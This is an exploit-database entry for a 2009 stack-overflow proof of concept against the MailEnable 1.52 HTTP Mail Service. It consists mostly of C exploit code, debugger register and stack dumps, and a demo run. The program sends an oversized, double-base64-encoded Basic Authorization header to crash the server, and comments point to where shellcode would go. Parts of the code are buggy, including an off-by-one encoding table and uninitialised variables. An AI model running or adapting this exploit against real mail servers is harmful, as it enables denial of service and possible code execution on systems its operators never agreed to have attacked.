header-logo
Suggest Exploit
vendor:
MailEnable 1.52 HTTP Mail Service
by:
Stefan
7,5
CVSS
HIGH
Stack Overflow
119
CWE
Product Name: MailEnable 1.52 HTTP Mail Service
Affected Version From: 1.52
Affected Version To: 1.52
Patch Exists: YES
Related CWE: N/A
CPE: a:mailenable:mailenable_1.52
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Windows
2005

MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)

The problem appears when a specialy encoded 64base string is sent to the HTTP Mail Server. The ASM instructions show that EDX=48545541 and DS:[54516FF1]=???. The CPU registers show EAX 70F8FEFE, ECX 004212B8 mehttps.004212B8, EDX 48545541, EBX 003B2660, ESP 00BB2900, EBP 00BB2E20 ASCII "UATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUAT" and the stack shows 69736142, 45542063, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155, 55504551, 54515441, 44555045, 45544155.

Mitigation:

Update to the latest version of MailEnable 1.52 HTTP Mail Service.
Source

Exploit-DB raw data:

/*
    *MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
    *Debugging Info
    *szAppName : MEHTTPS.EXE     szAppVer : 1.0.0.1     szModName : MEHTTPS.EXE     
    *szModVer : 1.0.0.1     offset : 00010c21
    *Files that caused error :
    *C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\MEHTTPS.EXE.mdmp
    *C:\DOCUME~1\Stefan\LOCALS~1\Temp\WER567c.dir00\appcompat.txt
    *
    *The problem appears when a specialy encoded 64base string is sent to the HTTP Mail Server
    *ASM instructions
    *00410C21   8917             MOV DWORD PTR DS:[EDI],EDX
    *00410C23   83C7 04          ADD EDI,4
    *00410C26   BA FFFEFE7E      MOV EDX,7EFEFEFF
    *00410C2B   8B01             MOV EAX,DWORD PTR DS:[ECX]
    *00410C2D   03D0             ADD EDX,EAX
    *00410C2F   83F0 FF          XOR EAX,FFFFFFFF
    *00410C32   33C2             XOR EAX,EDX
    *00410C34   8B11             MOV EDX,DWORD PTR DS:[ECX]
    *00410C36   83C1 04          ADD ECX,4
    *EDX=48545541
    *DS:[54516FF1]=???
    *
    *CPU registers
    *EAX 70F8FEFE
    *ECX 004212B8 mehttps.004212B8
    *EDX 48545541   
    *EBX 003B2660
    *ESP 00BB2900
    *EBP 00BB2E20 ASCII "UATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUATQTEPUDUATEQEPUAT
    *ESI 003B2660
    *EDI 54516FF1
    *EIP 00410C21 mehttps.00410C21
    *Stack
    *00BB2D1C   69736142          
    *00BB2D20   45542063
    *00BB2D24   55504551
    *00BB2D28   54515441
    *00BB2D2C   44555045
    *00BB2D30   45544155
    *00BB2D34   55504551
    *00BB2D38   54515441
    *00BB2D3C   44555045
    *00BB2D40   45544155
    *00BB2D44   55504551
    *00BB2D48   54515441
    *00BB2D4C   44555045
    *00BB2D50   45544155
    *00BB2D54   55504551
    *00BB2D58   54515441
    *00BB2D5C   44555045
    *00BB2D60   45544155
    *00BB2D64   55504551
    *00BB2D68   54515441
    *00BB2D6C   44555045
    *00BB2D70   45544155
    *00BB2D74   55504551
    *00BB2D78   54515441
    *00BB2D7C   44555045
    *00BB2D80   45544155
    *00BB2D84   55504551
    *00BB2D88   54515441
    *00BB2D8C   44555045
    *00BB2D90   45544155
    *00BB2D94   55504551
    *00BB2D98   54515441
    *00BB2D9C   44555045
    *00BB2DA0   45544155
    *00BB2DA4   55504551
    *00BB2DA8   54515441
    *00BB2DAC   44555045
    *00BB2DB0   45544155
    *00BB2DB4   55504551
    *00BB2DB8   54515441
    *00BB2DBC   44555045
    *00BB2DC0   45544155
    *00BB2DC4   55504551
    *00BB2DC8   54515441
    *00BB2DCC   44555045
    *00BB2DD0   45544155
    *00BB2DD4   55504551
    *00BB2DD8   54515441
    *00BB2DDC   44555045
    *00BB2DE0   45544155
    *00BB2DE4   55504551
    *00BB2DE8   54515441
    *00BB2DEC   44555045
    *00BB2DF0   45544155
    *00BB2DF4   55504551
    *00BB2DF8   54515441
    *00BB2DFC   44555045
    *00BB2E00   45544155
    *00BB2E04   55504551
    *00BB2E08   54515441
    *00BB2E0C   44555045
    *00BB2E10   45544155
    *00BB2E14   55504551
    *00BB2E18   54515441
    *00BB2E1C   44555045
    *00BB2E20   45544155
    *00BB2E24   55504551
    *00BB2E28   54515441
    *00BB2E2C   44555045
    *00BB2E30   45544155
    *00BB2E34   55504551
    *00BB2E38   54515441
    *00BB2E3C   44555045
    *00BB2E40   45544155
    *00BB2E44   55504551
    *00BB2E48   54515441
    *00BB2E4C   44555045
    *00BB2E50   45544155
    *00BB2E54   55504551
    *00BB2E58   54515441
    *00BB2E5C   44555045
    *00BB2E60   45544155
    *00BB2E64   55504551
    *00BB2E68   54515441
    *00BB2E6C   44555045
    *00BB2E70   45544155
    *00BB2E74   55504551
    *00BB2E78   54515441
    *00BB2E7C   44555045
    *00BB2E80   45544155
    *00BB2E84   55504551
    *00BB2E88   54515441
    *00BB2E8C   44555045
    *00BB2E90   45544155
    *00BB2E94   55504551
    *
    *This is the user controled area ,this is where we have to put the shellcode.
    *Access violation when writing to 0x54516FF1 ->EDI holds this address.
    *WARNING it is compiled with cygwin console ,if you run it somewere else
    *be sure to get the cygwin1.dll in the same folder as the executable.
    *It will surely work with DEV-cpp 
    *
    *DEMO
    *
    *C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe
    *******************************************************************************
    MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)
               Credits:fl0 fl0w

                -h       host HTTP server
                -p       port HTTP server

    *******************************************************************************
    ------------------------------------------
    You can use the following IP addresses

    Host name is .
    Address 0:192.168.1.2
    ------------------------------------------

    Host name is .
    Address 1:79.119.96.127
    ------------------------------------------

    Host name is .
    Address 2:192.168.152.1
    ------------------------------------------

    Host name is .
    Address 3:192.168.172.1
    ------------------------------------------

    Usage: nn option host option port
    C:\Documents and Settings\Stefan\Desktop\Mail Enable-http crash>nn.exe -h 127.0.0.1 -p 8080
    this program is in the directory /cygdrive/c/Documents and Settings/Stefan/Deskt
    op/Mail Enable-http crash/
    - target   127.0.0.1 : 8080
    - Done
    */
    
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <stdint.h>
    #ifdef WIN32
    #include <winsock.h>
    #define close   closesocket
    #define sleep   Sleep
    #else
    #include <unistd.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <arpa/inet.h>
    #include <netinet/in.h>
    #include <netdb.h>
    #endif
    #define BUFFSZ      0x2000
    #define BOF1SZ      0x12C
    #define BOF2SZ      0x1388
    #define DEFAULT_PORT 8080
    #define DEFAULT_HOST "127.0.0.1"
    /*
    *Function Protptypes
    *
    *
    */
    void Menuu(int argc, char **argv)
    { fprintf(stderr,
    "\n"
    "\t-h       host HTTP server\n"
    "\t-p       port HTTP server\n"
    "\n"
    ,
    argv[0],
    DEFAULT_PORT,
    DEFAULT_HOST);
    }

    int doit(int, char **);
    uint32_t fletcher32(uint8_t data[BUFFSZ], int16_t len);
    uint8_t *base64_encode(uint8_t *data, int *size);
    int putcc(uint8_t *data, int chr, int len);
    int timeout(int sock, int secs);
    uint32_t resolv(char *host);
    /*
    *End Prototypes
    */
    /*
    * This function gets the PATH of your executable
    * START PATH
    */
    size_t get_executable_path (char* buffer, size_t len)
    {
    char* path_end;
    if (readlink ("/proc/self/exe", buffer, len) <= 0)
    return -1;
    path_end = strrchr (buffer, '/');
    if (path_end == NULL)
    return -1;
    ++path_end;
    *path_end = '\0';
    return (size_t) (path_end - buffer);
    }
    /*
    *END PATH
    */
    void args(int argc, char *argv[])
    { 
    int ip;
    short port;
    int a;
    if(a) 
    while((a = getopt(argc, argv, "h:p")) != EOF) {
    switch(a)                                     {
    case 'h':
    ip = (int)optarg;
    break;
    case 'p':
    port = (int)optarg;
    break;
    default:
    exit(-1);
                                                   }
  						                           }
                                                   }
    int main(int argc, char *argv[]) {
    char path[1000];
    struct  sockaddr_in peer;
    int     sd,
           len,
           attack;
    uint16_t     port;
    uint8_t      buff[BUFFSZ],
           *b64;
    int a;
    printf("*******************************************************************************\n");
    printf("MailEnable 1.52 HTTP Mail Service Stack Overflow POC Exploit(encoded comand)\n");
    printf("\tCredits:fl0 fl0w\n");
    Menuu(argc, argv);
    printf("*******************************************************************************\n");
    a = doit(argc, argv);             
    #ifdef WIN32
    WSADATA    wsadata;
    WSAStartup(MAKEWORD(1,0), &wsadata);
    #endif
    setbuf(stdout, NULL);
    fputs("\n"
        "\n", stdout);
    if(argc < 3) {
        printf("\n"
        "Usage: %s option host option port\n"
        "\n", argv[0]);
        exit(1);
    }
    args(argc, argv);
    if(argc > 3) port = atoi(argv[4]);
    get_executable_path (path, sizeof (path));
    printf ("this program is in the directory %s\n", path);
    peer.sin_addr.s_addr = resolv(argv[2]);
    peer.sin_port        = htons(port);
    peer.sin_family      = AF_INET;
    printf("- target   %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port));
    sd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
    if(sd < 0) exit(0);
    if(connect(sd, (struct sockaddr *)&peer, sizeof(peer))< 0) exit(0);
    len = BOF1SZ;
    putcc(buff, 'A', len);
    b64 = base64_encode(buff, &len);
    b64 = base64_encode(b64, &len);
    len = sprintf(buff,"GET / HTTP/1.0\r\n""Authorization: Basic %s\r\n""\r\n", b64);
    fletcher32(buff,len);    
    send(sd, buff, len, 0);
    if(!timeout(sd, 5)) recv(sd, buff, BUFFSZ, 0);
    close(sd);
    printf("- done\n");
    return(0);
    }
    /*As you can see the string is real odd looking that is because EBP points to 
    *a function that filters UPercase caracters  :)  , so you can see in the stack and at
    *the Registers section.
    *That may be the fuction that causes the buffer overdflow.
    *Function mehttps() it is at(offset) ESP + 4 bytes,in other words get the address of
    *ESP and add 4 bytes that is it's possition in the stack. 
    *The call stack is 
    *00BB2904   0040BC9A  RETURN to mehttps.0040BC9A from mehttps.00410B90
    /*
    * ENCODE STRINGS
    */
    /*
    *The algorithm for encoding in 64base was 
    *inspired from a code of Aluigi Arena so thnx man !
    */
    uint8_t *base64_encode(uint8_t *data, int *size) {
    int     len,
    a,
    b,
    c;
    uint8_t      *buff,
            *p;
    uint8_t base[64];
    base[1] = 0x41;  base[7] = 0x47;  base[13] = 0x4D; base[19] = 0x53; base[25] = 0x59;  
    base[2] = 0x42;  base[8] = 0x48;  base[14] = 0x4E; base[20] = 0x54; base[26] = 0x5A;
    base[3] = 0x43;  base[9] = 0x49;  base[15] = 0x4F; base[21] = 0x55;
    base[4] = 0x44;  base[10] = 0x4A; base[16] = 0x50; base[22] = 0x56;
    base[5] = 0x45;  base[11] = 0x4B; base[17] = 0x51; base[23] = 0x57;
    base[6] = 0x46;  base[12] = 0x4C; base[18] = 0x52; base[24] = 0x58; //A->Z
    base[27] = 0x61;  base[28] = 0x62;  base[29] = 0x63; base[30] = 0x64; base[31] = 0x65;  
    base[32] = 0x66;  base[33] = 0x67;  base[34] = 0x68; base[35] = 0x69; base[36] = 0x6A;
    base[37] = 0x6B;  base[38] = 0x6C;  base[39] = 0x6D; base[40] = 0x6F;
    base[41] = 0x70;  base[42] = 0x71; base[43] = 0x72; base[44] = 0x73;
    base[45] = 0x74;  base[46] = 0x75; base[47] = 0x76; base[48] = 0x77;
    base[49] = 0x78;  base[50] = 0x79; base[51] = 0x7A; base[52] = 0x30;
    base[53] = 0x31;  base[54] = 0x32; base[55] = 0x33; base[56] = 0x34; //a->z
    base[57] = 0x35; base[58] = 0x36; base[59] = 0x37; base[60] = 0x38; 
    base[61] = 0x39; base[62] = 0x2B; base[63] = 0x2C; base[64] = 0x2F;
    if(!size || (*size < 0)) {      
        len = strlen(data);
    } else {
        len = *size;
    }
    buff = malloc(((len / 3) << 2) + 6);
    if(!buff) return(NULL);
    p = buff;
    do {
    a = data[0];
    b = data[1];
    c = data[2];
    *p++ = base[(a >> 2) & 63];
    *p++ = base[(((a &  3) << 4) | ((b >> 4) & 15)) & 63];
    *p++ = base[(((b & 15) << 2) | ((c >> 6) &  3)) & 63];
    *p++ = base[c & 63];
    data += 3;
    len  -= 3;
    } while(len > 0);
    *p = 0;
    for(; len < 0; len++) *(p + len) = '=';
    if(size) *size = p - buff;
    return(buff);
    }
    /*
    *
    *
    *EDX is controled 
    *EBP holds the long string that is encoded in base64.
    *Stack starts at address 0x00BB2900 ,at that address there is a DWORD NULLBYTE.
    *The stack overflow starts at the address 0x00BB2D1C   
    */
    int putcc(uint8_t *data, int chr, int len) {
    memset(data, chr, len);
    return(len);
    }
    int timeout(int sock, int secs) {
    struct  timeval tout;
    fd_set  fd_read;
    tout.tv_sec  = secs;
    tout.tv_usec = 0;
    FD_ZERO(&fd_read);
    FD_SET(sock, &fd_read);
    if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1);
    return(0);
    }
    uint32_t resolv(char *host) {
    struct  hostent *hp;
    uint32_t     host_ip;
    host_ip = inet_addr(host);
    if(host_ip == INADDR_NONE) {
    hp = gethostbyname(host);
    if(!hp) {
    printf("\nError: Unable to resolv hostname (%s)\n", host);
    exit(1);
    } else host_ip = *(uint32_t *)hp->h_addr;
    }
    return(host_ip);
    }
    uint32_t fletcher32(uint8_t data[BUFFSZ], int16_t len)
    {
    uint32_t sum1 = 0xffff, sum2 = 0xffff;
    while (len) {
    unsigned tlen = len > 360 ? 360 : len;
    len -= tlen;
    do {
    sum1 += *data++;
    sum2 += sum1;
    } while (--tlen);
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    }
    sum1 = (sum1 & 0xffff) + (sum1 >> 16);
    sum2 = (sum2 & 0xffff) + (sum2 >> 16);
    return sum2 << 16 | sum1;
    }
    int doit(int a, char **b)
    {
    char ac[80];
    int i;
    #ifdef WIN32
    if (gethostname(ac, sizeof(ac)) == SOCKET_ERROR) {
    printf("Error " ,WSAGetLastError());
    return 1;
                                                     }
    #endif                                                     
    struct hostent *phe = gethostbyname(ac);
    if (phe == 0) {
    printf("Bad host lookup.\n");
    return 1;
    }
    printf("------------------------------------------\n");
    printf("You can use the following IP addresses\n");
    for (i = 0; phe->h_addr_list[i] != 0; ++i) {
    struct in_addr addr;
    memcpy(&addr, phe->h_addr_list[i], sizeof(struct in_addr));
    printf("\n");
    printf("Host name is %s.\n" ,ac);
    printf("Address %d:%s\n" ,i ,inet_ntoa(addr));
    printf("------------------------------------------\n");
    }
    return 0;
    }

// milw0rm.com [2009-08-31]